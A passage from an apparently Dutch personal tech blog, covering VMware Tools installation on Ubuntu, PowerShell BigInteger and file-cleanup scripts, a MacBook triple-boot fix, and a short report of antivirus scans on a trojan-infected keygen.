<a href="http://3.bp.blogspot.com/-MQZ-V3V5eVE/T8cdkqkWdfI/AAAAAAAAAN0/FuBIB32QEqo/s1600/hsg-01-19-10-02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-MQZ-V3V5eVE/T8cdkqkWdfI/AAAAAAAAAN0/FuBIB32QEqo/s640/hsg-01-19-10-02.jpg" height="409" width="640" /></a></div>
<br />
Om de module te kunnen gebruik, importeer hem met <span style="background-color: #fff2cc; font-family: "Courier New",Courier,monospace;">Import-Module mijnscript</span> . Als je de modules altijd wilt laden, zet dit commando dat in het profile-script.<br />
Om alle beschikbare (te laden) modules te zien, gebruik dan <span style="background-color: #fff2cc; font-family: "Courier New",Courier,monospace;">Get-Module -ListAvailable</span> .<br />
<br />
Dat is alles wat er is!Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-38986693795724189652012-05-03T06:52:00.001-07:002014-10-21T08:12:51.413-07:00VMware tools installeren op Ubuntu Server 12.4Je hebt een virtuele Ubuntu Server 12.04 "Precise Pangolin" 64-bit draaien in je VMware vSphere 5.0 omgeving. Je wilt de <a href="http://kb.vmware.com/selfservice/microsites/search.do?cmd=displayKC&externalId=1022525">VMware tools voor Ubuntu</a> installeren omdat de server zich zo beter gedraagt in een virtuele omgeving. Je hebt geen X draaien en dus geen grafische gebruikersinterface behalve een knipperende cursor. Hoe doe je dat? OK dan, hier gaan we.<br />
<a name='more'></a><br />
<br />
Er zijn <a href="https://help.ubuntu.com/community/VMware/Tools">een aantal manieren beschreven</a> om dit te doen.<br />
<ol>
<li>Een makkelijke manier is om de virtuele CD-ROM met de VMware-tools te koppelen die wordt aangeboden vanuit jouw vSphere host met "install/upgrade VMware Tools". </li>
<li>Een andere manier is door het installeren van de open-source third-party package "open-vm-tools". </li>
<li>Dan is er nog het toevoegen van een repository van VMware en daarvandaan packages voor Ubuntu te installeren. Helaas zijn op het moment van schrijven nog geen package voor Ubuntu 12.04 Precise Pangolin beschikbaar .</li>
</ol>
Ik laat methode 1 en 2 hier zien.<br />
<h4>
Install/Upgrade VMware Tools </h4>
<br />
Allereerst ga je naar de vSphere client en kies voor de bewuste virtuele machine [Guest →Install/upgrade VMware Tools].<br />
Open vervolgens een shellprompt en klop de volgende commandoregels in:<br />
<br />
<div style="background-color: black; color: white;">
$ sudo -s</div>
want je wilt de volgende stappen uitvoeren als root en zo maken we het onszelf makkelijk. Voer je wachtwoord in en ram op je Enter. <br />
<br />
Allereerst even de volgende zaken installeren , omdat deze nodig zijn
voor het compileren van enkele kernel-modules later in het verhaal.<br />
<ul>
<li>make</li>
<li>gcc</li>
<li>kernel headers voor huidige kernelmodules</li>
</ul>
Het volgende commando installeert alles wat nodig is:<br />
<div style="background-color: black; color: white;">
# apt-get update</div>
<div style="background-color: black; color: white;">
# apt-get install build-essential</div>
<br />
Om de CD-ROM te koppelen en de vmware tools-installer uit te pakken <br />
<br />
<div style="background-color: black; color: white; font-family: "Courier New",Courier,monospace;">
# mkdir /mnt/cdrom</div>
<div style="background-color: black; color: white; font-family: "Courier New",Courier,monospace;">
# mount /dev/cdrom /mnt/cdrom</div>
<div style="background-color: black; color: white; font-family: "Courier New",Courier,monospace;">
# cd /root</div>
<div style="background-color: black; color: white; font-family: "Courier New",Courier,monospace;">
# tar zxvf /mnt/cdrom/VMwareTools-8.6.5-652272.tar.gz</div>
<br />
Nu is op de map /mnt/cdrom de virtuele CD-ROM gekoppeld met de vmware-tools en in /root is een map aangemaakt, genaamd vmware-tools-distrib . Hierin vind je het installatiescript dat we starten met de schakeloptie -d , zodat het alles defaults accepteert. Als we dit niet doen, krijgen je een hele rij vragen voorgeschoteld, die overigens allemaal kunnen worden beantwoord met zinnige defaults door een druk op de Enter-toets. <br />
<br />
<br />
<div style="background-color: black; color: white;">
# cd vmware-tools-distrib</div>
<div style="background-color: black; color: white;">
# ./vmware-install.pl</div>
<div style="background-color: black; color: white;">
</div>
<div style="background-color: black; color: white;">
</div>
<div style="background-color: black; color: white;">
</div>
<div style="background-color: black; color: white;">
</div>
<div style="background-color: black; color: white;">
</div>
<div style="background-color: black; color: white;">
</div>
<div style="background-color: black; color: white;">
</div>
We runnen dit script. Hieronder een uitdraai van de uitvoer die je krijgt.<br />
<br />
<pre style="background-color: black; color: white; font-family: "Courier New",Courier,monospace; font-size: x-small;">root@bcgaia:/root/vmware-tools-distrib# ./vmware-install.pl -d
Creating a new VMware Tools installer database using the tar4 format.
Installing VMware Tools.
In which directory do you want to install the binary files?
[/usr/bin]
What is the directory that contains the init directories (rc0.d/ to rc6.d/)?
[/etc]
What is the directory that contains the init scripts?
[/etc/init.d]
In which directory do you want to install the daemon files?
[/usr/sbin]
In which directory do you want to install the library files?
[/usr/lib/vmware-tools]
The path "/usr/lib/vmware-tools" does not exist currently. This program is
going to create it, including needed parent directories. Is this what you want?
[yes]
In which directory do you want to install the documentation files?
[/usr/share/doc/vmware-tools]
The path "/usr/share/doc/vmware-tools" does not exist currently. This program
is going to create it, including needed parent directories. Is this what you
want? [yes]
The installation of VMware Tools 8.6.5 build-652272 for Linux completed
successfully. You can decide to remove this software from your system at any
time by invoking the following command: "/usr/bin/vmware-uninstall-tools.pl".
Before running VMware Tools for the first time, you need to configure it by
invoking the following command: "/usr/bin/vmware-config-tools.pl". Do you want
this program to invoke the command for you now? [yes]
Initializing...
Making sure services for VMware Tools are stopped.
[EXPERIMENTAL] The VMware FileSystem Sync Driver (vmsync) is a new feature that
creates backups of virtual machines. Please refer to the VMware Knowledge Base
for more details on this capability. Do you wish to enable this feature?
[no]
Using 2.6.x kernel build system.
make: Map '/tmp/vmware-root/modules/vmci-only' wordt binnengegaan
make -C /lib/modules/3.2.0-24-generic/build/include/.. SUBDIRS=$PWD SRCROOT=$PWD/. \
MODULEBUILDDIR= modules
make[1]: Map '/usr/src/linux-headers-3.2.0-24-generic' wordt binnengegaan
CC [M] /tmp/vmware-root/modules/vmci-only/vmciDatagram.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciEvent.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciGuestDs.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciGuestKernelIf.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciKernelIf.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciNotifications.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciProcess.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciQPair.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciQueuePair.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciUtil.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmci_drv.o
CC [M] /tmp/vmware-root/modules/vmci-only/kernelStubsLinux.o
LD [M] /tmp/vmware-root/modules/vmci-only/vmci.o
Building modules, stage 2.
MODPOST 1 modules
CC /tmp/vmware-root/modules/vmci-only/vmci.mod.o
LD [M] /tmp/vmware-root/modules/vmci-only/vmci.ko
make[1]: Map '/usr/src/linux-headers-3.2.0-24-generic' wordt verlaten
make -C $PWD SRCROOT=$PWD/. \
MODULEBUILDDIR= postbuild
make[1]: Map '/tmp/vmware-root/modules/vmci-only' wordt binnengegaan
make[1]: 'postbuild' is bijgewerkt.
make[1]: Map '/tmp/vmware-root/modules/vmci-only' wordt verlaten
cp -f vmci.ko ./../vmci.o
make: Map '/tmp/vmware-root/modules/vmci-only' wordt verlaten
Using 2.6.x kernel build system.
make: Map '/tmp/vmware-root/modules/vmci-only' wordt binnengegaan
make -C /lib/modules/3.2.0-24-generic/build/include/.. SUBDIRS=$PWD SRCROOT=$PWD/. \
MODULEBUILDDIR= modules
make[1]: Map '/usr/src/linux-headers-3.2.0-24-generic' wordt binnengegaan
CC [M] /tmp/vmware-root/modules/vmci-only/vmciDatagram.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciEvent.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciGuestDs.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciGuestKernelIf.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciKernelIf.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciNotifications.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciProcess.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciQPair.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciQueuePair.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmciUtil.o
CC [M] /tmp/vmware-root/modules/vmci-only/vmci_drv.o
CC [M] /tmp/vmware-root/modules/vmci-only/kernelStubsLinux.o
LD [M] /tmp/vmware-root/modules/vmci-only/vmci.o
Building modules, stage 2.
MODPOST 1 modules
CC /tmp/vmware-root/modules/vmci-only/vmci.mod.o
LD [M] /tmp/vmware-root/modules/vmci-only/vmci.ko
make[1]: Map '/usr/src/linux-headers-3.2.0-24-generic' wordt verlaten
make -C $PWD SRCROOT=$PWD/. \
MODULEBUILDDIR= postbuild
make[1]: Map '/tmp/vmware-root/modules/vmci-only' wordt binnengegaan
make[1]: 'postbuild' is bijgewerkt.
make[1]: Map '/tmp/vmware-root/modules/vmci-only' wordt verlaten
cp -f vmci.ko ./../vmci.o
make: Map '/tmp/vmware-root/modules/vmci-only' wordt verlaten
Using 2.6.x kernel build system.
make: Map '/tmp/vmware-root/modules/vsock-only' wordt binnengegaan
make -C /lib/modules/3.2.0-24-generic/build/include/.. SUBDIRS=$PWD SRCROOT=$PWD/. \
MODULEBUILDDIR= modules
make[1]: Map '/usr/src/linux-headers-3.2.0-24-generic' wordt binnengegaan
CC [M] /tmp/vmware-root/modules/vsock-only/linux/af_vsock.o
CC [M] /tmp/vmware-root/modules/vsock-only/linux/notify.o
CC [M] /tmp/vmware-root/modules/vsock-only/linux/notifyQState.o
CC [M] /tmp/vmware-root/modules/vsock-only/linux/stats.o
CC [M] /tmp/vmware-root/modules/vsock-only/linux/util.o
CC [M] /tmp/vmware-root/modules/vsock-only/linux/vsockAddr.o
CC [M] /tmp/vmware-root/modules/vsock-only/driverLog.o
LD [M] /tmp/vmware-root/modules/vsock-only/vsock.o
Building modules, stage 2.
MODPOST 1 modules
CC /tmp/vmware-root/modules/vsock-only/vsock.mod.o
LD [M] /tmp/vmware-root/modules/vsock-only/vsock.ko
make[1]: Map '/usr/src/linux-headers-3.2.0-24-generic' wordt verlaten
make -C $PWD SRCROOT=$PWD/. \
MODULEBUILDDIR= postbuild
make[1]: Map '/tmp/vmware-root/modules/vsock-only' wordt binnengegaan
make[1]: 'postbuild' is bijgewerkt.
make[1]: Map '/tmp/vmware-root/modules/vsock-only' wordt verlaten
cp -f vsock.ko ./../vsock.o
make: Map '/tmp/vmware-root/modules/vsock-only' wordt verlaten
The module vmxnet3 has already been installed on this system by another
installer or package and will not be modified by this installer. Use the flag
--clobber-kernel-modules=vmxnet3 to override.
The module pvscsi has already been installed on this system by another
installer or package and will not be modified by this installer. Use the flag
--clobber-kernel-modules=pvscsi to override.
The module vmmemctl has already been installed on this system by another
installer or package and will not be modified by this installer. Use the flag
--clobber-kernel-modules=vmmemctl to override.
The VMware Host-Guest Filesystem allows for shared folders between the host OS
and the guest OS in a Fusion or Workstation virtual environment. Do you wish
to enable this feature? [no]
Using 2.6.x kernel build system.
make: Map '/tmp/vmware-root/modules/vmxnet-only' wordt binnengegaan
make -C /lib/modules/3.2.0-24-generic/build/include/.. SUBDIRS=$PWD SRCROOT=$PWD/. \
MODULEBUILDDIR= modules
make[1]: Map '/usr/src/linux-headers-3.2.0-24-generic' wordt binnengegaan
CC [M] /tmp/vmware-root/modules/vmxnet-only/vmxnet.o
Building modules, stage 2.
MODPOST 1 modules
CC /tmp/vmware-root/modules/vmxnet-only/vmxnet.mod.o
LD [M] /tmp/vmware-root/modules/vmxnet-only/vmxnet.ko
make[1]: Map '/usr/src/linux-headers-3.2.0-24-generic' wordt verlaten
make -C $PWD SRCROOT=$PWD/. \
MODULEBUILDDIR= postbuild
make[1]: Map '/tmp/vmware-root/modules/vmxnet-only' wordt binnengegaan
make[1]: 'postbuild' is bijgewerkt.
make[1]: Map '/tmp/vmware-root/modules/vmxnet-only' wordt verlaten
cp -f vmxnet.ko ./../vmxnet.o
make: Map '/tmp/vmware-root/modules/vmxnet-only' wordt verlaten
The vmblock enables dragging or copying files between host and guest in a
Fusion or Workstation virtual environment. Do you wish to enable this feature?
[no]
No X install found.
Creating a new initrd boot image for the kernel.
update-initramfs: Generating /boot/initrd.img-3.2.0-24-generic
vmware-tools start/running
The configuration of VMware Tools 8.6.5 build-652272 for Linux for this running
kernel completed successfully.
You must restart your X session before any mouse or graphics changes take
effect.
You can now run VMware Tools by invoking "/usr/bin/vmware-toolbox-cmd" from the
command line or by invoking "/usr/bin/vmware-toolbox" from the command line
during an X server session.
To enable advanced X features (e.g., guest resolution fit, drag and drop, and
file and text copy/paste), you will need to do one (or more) of the following:
1. Manually start /usr/bin/vmware-user
2. Log out and log back into your desktop session; and,
3. Restart your X session.
Enjoy,
--the VMware team
Found VMware Tools CDROM mounted at /mnt/cdrom. Ejecting device /dev/sr0 ...
</pre>
<br />
<br />
<br />
Ziezo! Klaar is Paul!<br />
<br />
Overigens weet ik hier niet zeker, wanneer er een nieuwe kernel wordt geinstalleerd, of kernelemodule automatisch worden bijgewerkt. Mocht je dat met de hand willen doen, dan doe je dat met het script in /usr/bin/vmware-config-tools.pl .<br />
<br />
In vSphere Client v5.0 zie je nu de VMware Tools geinstalleerd.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-qGV3QY6nKus/T6KKr5KA_YI/AAAAAAAAAME/J3IYIaWtfwI/s1600/bcweb1-vmware-tools.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-qGV3QY6nKus/T6KKr5KA_YI/AAAAAAAAAME/J3IYIaWtfwI/s1600/bcweb1-vmware-tools.PNG" /></a></div>
<br />
Via lsmod zie je volgende modules :<br />
<pre style="background-color: black; color: white; font-family: "Courier New",Courier,monospace; font-size: x-small;">paul@bcweb1:~$ lsmod
Module Size Used by
vsock 48206 0
acpiphp 24231 0
ppdev 17113 0
parport_pc 32866 1
lp 17799 0
vmw_balloon 12809 0
parport 46562 3 ppdev,parport_pc,lp
psmouse 87692 0
shpchp 37277 0
i2c_piix4 13301 0
serio_raw 13211 0
mac_hid 13253 0
vmci 54487 1 vsock
floppy 70365 0
e1000 108476 0
mptspi 22921 6
mptscsih 44882 1 mptspi
mptbase 103162 2 mptspi,mptscsih
vmxnet 26931 0
vmw_pvscsi 22881 0
vmxnet3 45883 0
</pre>
<h4>
Installeer open-vm-tools vanuit repository</h4>
Dit kan ook. Via deze manier krijg je automatisch updates. Doe eenvoudig dit:<br />
<div style="background-color: black; color: white; font-family: "Courier New",Courier,monospace;">
# apt-get install open-vm-tools</div>
<br />
Deze manier zal meteen voor jouw de benodigde afhankelijkheden oplossen, dus dat is wel zo makkelijk. Ik verwacht dat op deze manier ook kernelmodules worden bijgewerkt, wanneer de kernel wordt geupgradet.<br />
<br />
Als het goed is, is het ook nu zichtbaar in vSphere Client dat de VMware Tools zijn geinstalleerd. <br />
Dat ziet er dan wel anders uit.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-LMc0OYtjaKU/T6KMpa9_zRI/AAAAAAAAAMM/aEdshQTpfbE/s1600/bcgaia-open-vm-tools.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-LMc0OYtjaKU/T6KMpa9_zRI/AAAAAAAAAMM/aEdshQTpfbE/s320/bcgaia-open-vm-tools.PNG" height="125" width="320" /></a></div>
<br />
<br />Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-73975769465240673472012-04-17T07:13:00.001-07:002014-10-21T08:13:03.749-07:00Grote getallen in PowerShellVoor de uitdagingen in Project Euler is het nodig om grote getallen te berekenen, bijvoorbeeld voor het berekenen van probleem 16:<br />
What is the sum of the digits of the number 21000?<br />
Python kan dit zonder enig probleem van zichzelf, maar PowerShell heeft in principe alleen de klassieke datatypen int32, int64, double en long en trekt dat niet.<br />
<br />
Wat nu?<br />
<a name='more'></a><br />
<h3>
BigInteger
</h3>
<br />
Zie Monkey's Den artikel <a href="http://amonkeysden.tumblr.com/post/6457291819/calculating-a-factorial-with-powershell">Calculating a factorial with Powershell</a> voor een truc om de BigInteger-class van F# in te laden en toch met grote getallen te rekenen. Volgens het <a href="http://fatbeards.blogspot.com/2009/10/using-f-bigint-in-powershell.html">FatBeard's Adventure</a> is er een manier om dat in PowerShell te gebruiken. Je kon <a href="http://www.microsoft.com/downloads/en/details.aspx?FamilyID=effc5bc4-c3df-4172-ad1c-bc62935861c5&displaylang=en">F# downloaden</a> van Microsoft om aan de benodigde libraries te komen. Maar helaas schijnt dat niet meer te werken sinds nieuwere versies van .NET .
Het artikel van Monkey's Den vervolgt met de oplossing. Sinds v4 is er BigInt-ondersteuning in .NET ingebouwd.
Een code-snippet :<br />
<br />
<pre class="csharp" name="code">Add-Type -Path "C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Numerics.dll"
function factorial {
[cmdletbinding()]
param($x)
if ($x -lt 1) {
return "Has to be on a positive integer"
}
if ($x -eq 1) {
$x
} else {
$y = factorial ($x-1)
[System.Numerics.BigInteger]::Multiply($x , $y)
}
}
</pre>
<br />
Op een 64-bit Windows zou de eerste regel moeten worden aangepast afhankelijk of je in 64-bit of 32-bit PowerShell werkt. Voor 64-bit PowerShell wordt dit als volgt:
<br />
<br />
<pre class="csharp" name="code">Add-Type -Path "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Numerics.dll"
</pre>
<br />
Maar hier krijg ik een foutmelding.
<br />
<br />
<pre class="xml" name="code">Add-Type : Kan bestand of assembly file:///C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Numerics.dll of een van de afhankelijkheden hiervan niet laden. Deze assembly is gebouwd door een runtime die nieuwer is dan de momenteel geladen runtime, en kan niet worden geladen.
At line:1 char:9
+ Add-Type <<<< -Path "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Numerics.dll"
+ CategoryInfo : NotSpecified: (:) [Add-Type], BadImageFormatException
+ FullyQualifiedErrorId : System.BadImageFormatException,Microsoft.PowerShell.Commands.AddTypeCommand
</pre>
<br />
Eens probleren of moet ik verder zoeken. In <a href="http://www.dougfinke.com/blog/index.php/2010/04/18/how-to-add-an-f-type-to-a-powershell-session/">Doug Finke's Blog</a> lees ik hoe ik de F# Powerpack kan installeren en hoe ik vervolgens .NET aanpas zodat het een andere runtime gebruikt. De foutmelding hierboven verwijst ook naar een andere runtime.
In <a href="http://tfl09.blogspot.com/2010/08/using-newer-versions-of-net-with.html">Under the stairs</a> wordt uiteindelijk uitgelegd hoe je PowerShell een latere versie van de CLR kunt laten laden, door een XML-bestand bij PowerShell.exe te zetten met de naam PowerShell.exe.config en daarin het volgende op te nemen:
<br />
<pre class="xml" name="code"><configuration>
<startup uselegacyv2runtimeactivationpolicy="true">
<supportedruntime version="v4.0.30319">
<supportedruntime version="v2.0.50727">
</supportedruntime></supportedruntime></startup>
</configuration>
</pre>
<div>
<br /></div>
Of noem dit PowerShellISE.exe.config als het gaat om de ISE. Herstart PowerShell en je kunt "system.numerics.dll" toevoegen met Add-Type en alle BigIntegers gebruiken!<br />
<br />
<br />
<h3>
</h3>
Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-30553734295770001732012-03-15T07:33:00.000-07:002014-10-21T08:13:14.719-07:00MacBook triple boot met OS X, rEFIt, Windows 7 en Ubuntu 11.10 LinuxNa vier pogingen is het eindeljik gelukt: een werkende triple-boot met OS X 10.7, Windows 7 en ubuntu 11.10 Linux op een MacBook model 2009 alu unibody.<br />
Werkelijk heel veel artikelen zijn er al op het internet hierover geschreven, en ik volgde een aantal trouw (bjivoorbeeld <a href="http://lifehacker.com/5531037/how-to-triple+boot-your-mac-with-windows-and-linux-no-boot-camp-required">deze</a>) , maar eerst zonder resultaat. Mijn werkwijze:<br />
<ul>
<li>Mac OS X installeren </li>
<li>dan rEFIt installeren </li>
<li>met Apples schijfhulpprogramma (diskutility) 4 partities gemaakt in deze volgorde : </li>
</ul>
<ol>
<li>Mac OS X, <a name='more'></a></li>
<li>Windows 7, </li>
<li>Linux swap, </li>
<li>Linux root. </li>
</ol>
<ul>
<li>Windows 7 installeren : succesvol </li>
<li>Linux installeren ... </li>
</ul>
en op dit punt stuitte ik op een probleem. rEFIt klaagt dat de GPT en MBR partitietabellen niet in sync waren. rEFIt geeft op de Partitioning Tool pagina de volgende foutmelding:<br />
<blockquote class="tr_bq">
<b>Status: Analysis inconclusive, wil not touch this disk.</b> </blockquote>
<br />
<div>
<img src="https://www.sikkepitje.nl/%7Epaul/w/uploads/Geheem/refit_gptsync_status_analysis_inconclusive_640px.jpg" /> </div>
<br />
en weigert nog langer om Windows of Linux te starten. Als ik start in OS X dan zijn de partites<br />
Als ik een goed rond-google, dan ben ik niet de enige met deze foutmelding. Hele volksstammen kregen voor mij <a href="http://mac.linux.be/content/problems-refit-and-grub-after-installation">dezelfde foutmelding</a>. Een werkende fix kon ik (nog) niet vinden. De tip om een <span style="font-family: 'Courier New', Courier, monospace;"><b>gptsync.deb</b></span> te downloaden in Linux is precies hetzelfde als wat rEFIt in het bootmenu aanbiedt onder "Partitioning Tool", maar die niet werkt.<br />
<br />
Plan B<br />
<br />
<a href="http://mac.linux.be/content/problems-refit-and-grub-after-installation">Ik lees ergens</a> dat het beter is om Windows op de laatste partitie te zetten, maar dat is waarschijnlijk een vereiste voor Windows XP. Ik heb Windows 7 eerder wel met succes op partitie 2 gebruikt. De indeling die ik wil maken is als volgt.<br />
<br />
<ul>
<li>EFI partitie op 1,</li>
<li>MAC op 2,</li>
<li>Linux op 3 en</li>
<li>Windows op 4.</li>
</ul>
<br />
Mijn idee is om 3 OS-partities te maken. Dan zijn er inclusief met de verplichte EFI-partitie maximaal 4 partities en dat precies wat de hybrid MBR kan bevatten. Volgens mijn informatie kan de hybrid MBR alleen 4 primaire partities bevatten en geen extended partities. Er is geen swappartitie voor Linux. De geemuleerde MBR-partitietabel kan hiermee goed gesynchroniseerd worden. Dat is althans het plan. . . maar weer meldt gptsync : Status: Analysis inconclusive, will not touch this disk.<br />
<br />
Ik had met Schijfhulpprogramma (diskutility) onder Mac OSX ruimte gereserveerd voor sda3 (linux) en sda4 (windows). Beide had ik geformatteerd op FAT. Windows installatie volgde op sda4, maar Windows had zijn bootloader op sda3 gezet! Dus formatteer sda3 niet in FAT, maar op HFS+. Dat houdt hem onzichtbaar tijdens Windowsinstallatie.<br />
<br />
Na 3 herinstallaties van OS X, Windows en Linux lees ik interessante informatie op <a href="http://www.rodsbooks.com/gdisk/hybrid.html">de pagina van Rod Smith over Hybrid MBRs</a> welke mij eindelijk hoop geeft op herstel. Het hele schema van Apple om de GUID Partition Table (GPT)-schijf uit te rusten met een spiegel-MBR partitietabel om niet GPT-bewuste besturingssytemen om de tuin te leiden stuurt alles in het honderd. Na de Linux installatie is de MBR aangepast en is een BIOS-partitie toegevoegd, zijn de MBR partitietabel en de GPT verschillend en zowel Apple schijfhulpprogramma als rEFIt zijn totaal de weg kwijt, waardoor Windows en Linux niet meer willen starten.<br />
<br />
Op aanwijzing hiervan heb ik de MacBook gestart vanaf een Ubuntu 11.10 liveCD. Ik heb vervolgens <a href="http://www.rodsbooks.com/gdisk/download.html">GPT fdisk</a> van dezelfde auteur gedownload en geinstalleerd:<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">dpkg --install gptfdisk-*.deb</span></blockquote>
Nadat ik alles over Hybrid MBRs heb gelezen en nu ik alles weet van protective MBRs en hybrid MBRs , kan ik pogen de boel te herstellen.<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">gdisk /dev/sda</span></blockquote>
Via het recoverymenu via "<span style="font-family: 'Courier New', Courier, monospace;">r</span>" maak ik een hybrid MBR aan. In de hybrid MBR neem ik behalve de protective MBR ook op partities 2 3 4 , dus OSX partitie, Linux en Windows. Het WERKT!<br />
<br />
Als laatste punt vergeet niet nog even in Linux <a href="http://www.ivankristianto.com/os/ubuntu/howto-make-swap-file-in-ubuntu/1156/">de swapfile aan te maken</a>. We maken een swapfile en geen swappartitie omdat er geen ruimte meer is voor een extra partitie. Er zijn er al 4 in gebruik en in de schaduw-MBR kunnen er maar 4 en de GPT ondersteunt geen logische partities. We gaan ervan uit dat de laptop zoveel werkgeheugen heeft dat swappen niet nodig is, volstaat een wisselbestand of swapfile. Die maak ik in de map /mnt en ik neem het swapfile in gebruik met de volgende commando's:<br />
<blockquote class="tr_bq" style="font-family: "Courier New",Courier,monospace;">
dd if=/dev/zero of=/mnt/3GB.swap bs=1M count=3072<br />
mkswap /mnt/3GB.swap<br />
swapon /mnt/3GB.swap</blockquote>
De swapfile is nu in gebruik. Om dit na de volgende herstart ook te gebruiken moet in /etc/fstab een regel worden toegevoegd (bijvoorbeeld met nano) als vtolgt.<br />
<blockquote class="tr_bq" style="font-family: "Courier New",Courier,monospace;">
/mnt/3GB.swap none swap sw 0 0</blockquote>
Dat was alles.<br />
<br />
<br />
<div>
<a href="http://3.bp.blogspot.com/-i7CI8e7yPWI/T2DBPP-m5FI/AAAAAAAAAL0/mN8WDISPOKY/s1600/refit-triple-boot-640px.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-i7CI8e7yPWI/T2DBPP-m5FI/AAAAAAAAAL0/mN8WDISPOKY/s320/refit-triple-boot-640px.jpg" height="233" width="320" /></a>
</div>
Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com1tag:blogger.com,1999:blog-6983252481296197571.post-45157024837906163042012-02-08T06:46:00.000-08:002014-10-21T08:13:27.339-07:00De trojan in de keygen<span style="font-size: large;">Achtergrond</span><br />
Een spel gedownload uit nieuwsgroepen bevat een keygen.exe. De commentaren zijn positief: geen malware erin.<br />
<br />
Ik heb keygen.exe geupload naar <a href="https://www.virustotal.com/file/56b1c3850107244471574309f336a0d4d71fb953abf3e6e0893831ca8ee26abf/analysis/">virustotal.com</a>: van 43 virusscanners geven 16 melding van malware: Trojan, Artemis, Mal_Xed-21. Foute boel.<br />
<br />
Ik heb keygen.exe daarna uitgevoerd op een virtuele machine met Windows 7 , terwijl ik een oog open hield op Process Monitor , TCP View en<br />
<a name='more'></a> Process Explorer. In ProcMon bleek dat het programma probeert om diverse DLL's in C:\Windows\System32 aan te passen. Foute boel.<br />
<br />
Ik heb een computer met Windows 7 zonder netwerkverbindingen genomen en daarop keygen.exe als administrator uitgevoerd. Een recept voor rampen lijkt me. Daarna draaide ik Desinfec`t 2011 eroverheen om te kijken of ik iets kon detecteren. Dit is een goede test van Desinfec`t.<br />
<br />
<br />
Desinfec`t 2011 geeft mij dit:<br />
<br />
<h2 align="center">
Gevonden virussen</h2>
<table class="virustab">
<tbody>
<tr>
<th class="leftempty"><br /></th>
<th>Avira</th>
<th>Bitdefender</th>
<th>ClamAV</th>
<th><br /></th>
<th>Actie</th>
</tr>
<tr class="even">
<td class="filename" colspan="6">/media/c-schijf/Data/keygen/keygen.exe</td>
</tr>
<tr class="even">
<td class="leftempty"><br /></td>
<td><a href="http://www.avira.com/en/support-virus-lab?sq=TR/Crypt.XPACK.Gen" target="_blank">TR/Crypt.XPACK.Gen</a></td>
<td><a href="http://www.bitdefender.com/site/Search?mod=7&query=Gen:Trojan.Heur.FU.tu0@ayA9jLii" target="_blank">Gen:Trojan.Heur.FU.tu0@ayA9jLii</a></td>
<td><br /></td><td><br /></td>
<td><a href="filemanager:///media/c-schijf/Data/keygen/keygen.exe">Bestandsbeheer</a> <a href="rename:///media/c-schijf/Data/keygen/keygen.exe">hernoemen</a> </td>
</tr>
</tbody></table>
<div class="cleanall">
<a href="renameall:///virus">Alle gevonden bestanden laten eindigen op .VIRUS</a></div>
<br />
Goed zo! Echter geen bestanden die zijn geinfecteerd door de trojan. Mmmph Is de computer nu schoon of niet?Sikkepitjehttp://www.blogger.com/profile/04936111394688943837noreply@blogger.com0tag:blogger.com,1999:blog-6983252481296197571.post-62428763136887309852012-02-08T06:44:00.000-08:002014-10-21T08:13:41.477-07:00Wis bestanden ouder dan 2 dagen<br />
Vast al miljoen keer gepubliceerd door iedere PowerShell noob: hoe verwijder ik bestanden ouder dan x dagen. Dit PowerShell script is een verfijning van de code die ik <a href="http://www.networknet.nl/apps/wp/published/powershell-delete-files-older-than-x-days">hierrrrrr </a>vond.<br />
<br />
<code># Dit script verwijdert bestanden ouder dan X dagen<br /># gebaseerd op: http://www.networknet.nl/apps/wp/published/powershell-delete-files-older-than-x-days<br /># dit script wist backups *.bak in E:\VIMSQL\Backups ouder dan 90 dagen</code><br />
